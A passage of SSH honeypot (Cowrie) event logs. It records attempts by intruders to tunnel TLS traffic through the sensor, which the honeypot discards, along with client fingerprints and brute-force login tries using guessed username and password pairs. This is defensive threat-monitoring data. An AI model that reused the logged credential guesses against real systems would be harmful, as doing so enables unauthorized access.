001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x8fl\\xcf7!\\xac|\\xc8\\x9eR\\xc1\\x18\\x0f\\xdd\\x19\\xec7\\xe6\\xea\\xbbb7\\xd4\\x00\\x953\\xbf7\\\\=B\\x1e\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.32.24.235:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf648\\x0e(\\xa5e|\\xf9\\x1b1M\\xc4\\x92Y\\x9f\\x04\\xc2:\\x16'u\\xcd)\\rr\\xa3j\\x1b\\x00^\\xbd \\xa4\\x10\\x98\\xa7\\xc9\\xce\\xd9\\x12[\\xd2\\x95%\\r\\r\\xcf\\x90Q\\x0c\\xb4#U\\xd5\\x0fd\\xe6\\x01\\xa6\\xa5\\x92\\xa3\\x1f\\xce\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x8fl\\xcf7!\\xac|\\xc8\\x9eR\\xc1\\x18\\x0f\\xdd\\x19\\xec7\\xe6\\xea\\xbbb7\\xd4\\x00\\x953\\xbf7\\\\=B\\x1e\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:06:58.855506Z","src_ip":"77.90.185.17","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.155.119","dst_port":443,"src_ip":"77.90.185.17","src_port":55896,"message":"direct-tcp connection request to 142.251.155.119:443 from 127.0.0.1:55896","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:06:59.702805Z","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.155.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.155.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:07:00.289919Z","src_ip":"77.90.185.17","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.155.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd7\\xa799]]\\xd1\\x13\\x05\\x0cT}_@_z85\\xc0\\x89n\\xa6\\xffWr\\x8d\\n{\\xbd\\xef\\xf16 A\\xbbg\\xddC\\xa5l\\xa0\\x98\\xda\\x7fBS7*z\\rU4\\xf5e\\x1f\\x15K36Nd\\x15\\xc6<\\xdc\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x1d\\x037z\\x93\\x1c\\xe1\\xac\\xb2\\x82tE\\xaf\\xcd\\xa5\\xf8\\x15\\xe7x\\xd7\\xd8\\xff\\x89\\xfb\\xa4\\xc9\\xd9k\\xa1/#/\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.155.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd7\\xa799]]\\xd1\\x13\\x05\\x0cT}_@_z85\\xc0\\x89n\\xa6\\xffWr\\x8d\\n{\\xbd\\xef\\xf16 A\\xbbg\\xddC\\xa5l\\xa0\\x98\\xda\\x7fBS7*z\\rU4\\xf5e\\x1f\\x15K36Nd\\x15\\xc6<\\xdc\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x1d\\x037z\\x93\\x1c\\xe1\\xac\\xb2\\x82tE\\xaf\\xcd\\xa5\\xf8\\x15\\xe7x\\xd7\\xd8\\xff\\x89\\xfb\\xa4\\xc9\\xd9k\\xa1/#/\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:07:00.297489Z","src_ip":"77.90.185.17","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:07:00.637165Z","src_ip":"77.90.185.17","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":40840,"dst_ip":"10.17.0.5","dst_port":22,"session":"351a044e05f6","protocol":"ssh","message":"New connection: 92.118.39.72:40840 (10.17.0.5:22) [session: 351a044e05f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:07:23.749119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:07:23.754321Z","src_ip":"92.118.39.72","session":"351a044e05f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:07:23.869377Z","src_ip":"92.118.39.72","session":"351a044e05f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"miner","password":"miner","message":"login attempt [miner/miner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:07:24.169769Z","src_ip":"92.118.39.72","session":"351a044e05f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:07:25.272381Z","src_ip":"92.118.39.72","session":"351a044e05f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":10380,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c6e38fc730d","protocol":"ssh","message":"New connection: 2.57.121.25:10380 (10.17.0.5:22) [session: 1c6e38fc730d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:16.373972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:16.378279Z","src_ip":"2.57.121.25","session":"1c6e38fc730d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:16.474547Z","src_ip":"2.57.121.25","session":"1c6e38fc730d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"skynet","message":"login attempt [user/skynet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:16.931566Z","src_ip":"2.57.121.25","session":"1c6e38fc730d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"skills","message":"login attempt [user/skills] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:18.030263Z","src_ip":"2.57.121.25","session":"1c6e38fc730d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"skeeter1","message":"login attempt [user/skeeter1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:19.129678Z","src_ip":"2.57.121.25","session":"1c6e38fc730d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"singapore","message":"login attempt [user/singapore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:20.227873Z","src_ip":"2.57.121.25","session":"1c6e38fc730d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"silve","message":"login attempt [user/silve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:21.326569Z","src_ip":"2.57.121.25","session":"1c6e38fc730d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:22.425913Z","src_ip":"2.57.121.25","session":"1c6e38fc730d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":46314,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ca692910fe0","protocol":"ssh","message":"New connection: 2.57.122.96:46314 (10.17.0.5:22) [session: 4ca692910fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:40.993768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:40.998059Z","src_ip":"2.57.122.96","session":"4ca692910fe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:41.102252Z","src_ip":"2.57.122.96","session":"4ca692910fe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"staking","message":"login attempt [eth/staking] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:41.417292Z","src_ip":"2.57.122.96","session":"4ca692910fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.8","message":"Connection lost after 301.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:42.097663Z","src_ip":"111.228.36.44","session":"0c6fc2fde388","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:42.522740Z","src_ip":"2.57.122.96","session":"4ca692910fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":50052,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae58551ec506","protocol":"ssh","message":"New connection: 2.57.122.96:50052 (159.203.135.109:22) [session: ae58551ec506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:56.375665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:56.380109Z","src_ip":"2.57.122.96","session":"ae58551ec506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 